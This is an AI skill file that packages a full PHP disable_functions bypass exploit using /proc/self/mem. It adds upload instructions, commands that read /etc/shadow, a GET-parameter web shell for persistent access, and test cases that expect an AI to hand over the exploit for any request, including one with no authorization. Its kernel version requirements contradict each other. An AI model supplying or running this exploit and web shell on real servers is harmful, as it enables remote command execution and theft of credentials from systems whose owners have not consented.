Hacktricks-skills php-disable-functions-bypass
Bypass PHP disable_functions restriction using /proc/self/mem manipulation. Use this skill whenever the user needs to execute disabled PHP functions (like system(), exec(), shell_exec()) in a restricted environment, mentions PHP function restrictions, or is performing authorized security testing on PHP applications. This technique works on Linux x64 with PHP-CGI/FPM and kernel >= 2.68.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem/SKILL.MDPHP disable_functions Bypass via /proc/self/mem
Overview
This skill provides a technique to bypass PHP's
disable_functions configuration by directly manipulating the process memory through /proc/self/mem. This allows execution of disabled functions like system(), exec(), shell_exec(), etc.
Prerequisites
All conditions must be met:
- Kernel version >= 2.68 - Required for
access/proc/self/mem - PHP-CGI or PHP-FPM - mod_php does not read
/proc/self/mem - x64 architecture - The exploit is written for x64 (x32 requires modification)
- open_basedir=off OR bypass available - Must be able to read
and/lib/
directories/proc/ - Write access to
- The process must have permission to write to its own memory/proc/self/mem
When to Use This Skill
- User reports
,system()
, or similar functions are disabled in PHPexec() - Security testing on PHP applications with function restrictions
- Need to execute system commands from restricted PHP environment
- PHP
directive is blocking required functionalitydisable_functions
How It Works
The exploit works by:
- Parsing the PHP binary to find the
offsetopen@plt - Parsing libc to find
andsystem
symbol offsetsopen - Reading
to get the actual address of/proc/self/memopen@plt - Calculating libc base from the
addressopen - Calculating system address using libc base + system offset
- Writing to
to replace/proc/self/mem
withopen@plt
addresssystem - Calling
which now executesreadfile()
insteadsystem()
Exploit Code
Save this as
disable_functions_bypass.php:
<?php /* PHP disable_functions bypass via /proc/self/mem Author: Beched, RDot.Org Source: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/ Requirements: 1. kernel >= 2.68 2. PHP-CGI or PHP-FPM (mod_php does not read /proc/self/mem) 3. x64 architecture (x32 requires modification) 4. open_basedir=off (or ability to bypass open_basedir to read /lib/ and /proc/) */ function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } function unp($value) { return hexdec(bin2hex(strrev($value))); } function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } } echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n"; // Check architecture if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } // Check kernel version if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } echo "[*] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed to find open@plt. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; // Find libc location $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[*] Libc location: $r[1]\n"; echo "[*] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed to find symbols. Exiting\n"; exit; } echo "[+] Got them. Seeking for address in memory\n"; // Read open@plt address from memory $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, $open_php); $open_addr = unp(fread($mem, 8)); echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n"; // Calculate addresses $libc_start = $open_addr - $open_offset; $system_addr = $libc_start + $system_offset; echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n"; echo "[*] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); fseek($mem, $open_php); if(fwrite($mem, packlli($system_addr))) { echo "[+] Address written. Executing cmd\n"; // Now readfile() will execute system() instead readfile('/usr/bin/id'); exit; } echo "[-] Write failed. Exiting\n"; ?>
Usage Examples
Basic Execution
# Upload the exploit file php disable_functions_bypass.php # Or via web if accessible http://target/disable_functions_bypass.php
Custom Command Execution
Modify the last line to execute different commands:
// Instead of: readfile('/usr/bin/id'); // Use: readfile('/bin/ls'); readfile('/etc/passwd'); readfile('/bin/cat /etc/shadow');
Web Shell Integration
For persistent access, create a web shell:
<?php // Include the bypass code first, then: if(isset($_GET['cmd'])) { readfile($_GET['cmd']); } ?>
Verification Commands
Before attempting the exploit, verify prerequisites:
# Check kernel version uname -r # Check PHP SAPI php -r 'echo php_sapi_name();' # Check architecture php -r 'echo php_uname("a");' # Check if /proc/self/mem is accessible php -r 'var_dump(file_exists("/proc/self/mem"));' # Check disable_functions php -i | grep disable_functions
Troubleshooting
| Issue | Solution |
|---|---|
| "Failed to find open@plt" | PHP binary may be stripped or use different linking |
| "Write failed" | Process lacks write permission to /proc/self/mem |
| "Too old kernel" | Kernel < 2.68 does not support this technique |
| "This exploit is for x64" | Modify code for x32 architecture |
| "open_basedir restriction" | Need to bypass open_basedir first |
Alternative Techniques
If this bypass fails, consider:
- PHP filter wrappers -
for encoding bypassphp://filter - Object injection - PHP object deserialization exploits
- Extension loading -
if not disableddl() - SUID binaries - Setuid PHP binaries
- Source code injection - Write and include PHP files
Security Notes
⚠️ AUTHORIZED USE ONLY - This technique should only be used:
- On systems you own or have explicit permission to test
- During authorized penetration testing engagements
- For educational purposes in controlled environments
⚠️ DETECTION - This technique may be detected by:
- File integrity monitoring (FIM) on /proc/self/mem access
- Process monitoring tools
- SELinux/AppArmor policies
- Intrusion detection systems (IDS)
References
Test Cases
Test Case 1: Basic Bypass
Prompt: "PHP has disable_functions enabled blocking system(). How can I execute commands?" Expected: Skill triggers, provides exploit code with prerequisites
Test Case 2: Security Testing Context
Prompt: "I'm doing authorized pentesting on a PHP app. The server has exec() disabled. What bypass techniques exist?" Expected: Skill triggers, provides this technique with authorization warnings
Test Case 3: Prerequisites Check
Prompt: "Can I use /proc/self/mem bypass on PHP-FPM with kernel 3.10?" Expected: Skill triggers, confirms prerequisites are met